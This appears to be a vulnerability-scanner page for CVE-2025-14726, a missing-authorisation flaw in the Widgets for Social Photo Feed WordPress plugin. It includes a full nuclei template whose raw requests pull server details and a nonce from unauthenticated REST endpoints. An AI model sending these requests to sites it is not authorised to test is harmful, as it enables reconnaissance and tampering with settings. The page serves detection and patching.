WordPress Widgets for Social Photo Feed <= 1.8 - Information Disclosure

mediumseverity

6.5CVSS score

0.8%likelihood of exploitation, next 30 days

58%of all CVEs are less likely

Readycheck to confirm it

Widgets for Social Photo Feed WordPress plugin <= 1.8 contains a broken access control caused by missing capability checks on specific REST API endpoints, letting unauthenticated attackers access and modify plugin settings remotely.

Impact

Unauthenticated attackers can access and modify plugin settings, potentially compromising site integrity and data.

Fix

Update to the latest version beyond 1.8

How to confirm it

Send: GET /wp-json/trustindex_feed_hook_instagram/troubleshooting?data[public_id]=test
Positive when: contains_all(body, "WP Version:", "PHP Info:", "MySQL Version:", "Active Theme:", "Plugins:") and status_code == 200
Send: GET /wp-json/trustindex_feed_hook_instagram/get-token
Positive when: contains(content_type, "application/json") and contains(body, "nonce") and status_code == 200

Run it with nuclei: nuclei -id CVE-2025-14726 -u <target>

The full check

id: CVE-2025-14726

info:
  name: WordPress Widgets for Social Photo Feed <= 1.8 - Information Disclosure
  author: 0x_Akoko
  severity: medium
  description: |
   Widgets for Social Photo Feed WordPress plugin <= 1.8 contains a broken access control caused by missing capability checks on specific REST API endpoints, letting unauthenticated attackers access and modify plugin settings remotely.
  impact: |
   Unauthenticated attackers can access and modify plugin settings, potentially compromising site integrity and data.
  remediation: |
   Update to the latest version beyond 1.8
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/social-photo-feed-widget/widgets-for-social-photo-feed-18-missing-authentication-to-unauthenticated-plugin-settings-accessupdate-via-trustindex-feed-hook-instagram-rest-api-endpoints
    - https://wordpress.org/plugins/social-photo-feed-widget/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-14726
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
    cvss-score: 6.5
    cve-id: CVE-2025-14726
    epss-score: 0.0083
    epss-percentile: 0.57859
    cwe-id: CWE-200,CWE-862
  metadata:
    verified: true
    max-request: 2
    fofa-query: body="/wp-content/plugins/social-photo-feed-widget/"
  tags: cve,cve2025,wp,wordpress,wp-plugin,social-photo-feed-widget,disclosure

flow: http(1) || http(2)

variables:
  ts: "{{unix_time()}}"
  sig: "{{hmac('sha256','{{ts}}','test')}}"

http:
  - raw:
      - |
        GET /wp-json/trustindex_feed_hook_instagram/troubleshooting?data[public_id]=test HTTP/1.1
        Host: {{Hostname}}
        X-Timestamp: {{ts}}
        X-Signature: {{sig}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "WP Version:", "PHP Info:", "MySQL Version:", "Active Theme:", "Plugins:")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-json/trustindex_feed_hook_instagram/get-token HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type, "application/json")'
          - 'contains(body, "nonce")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from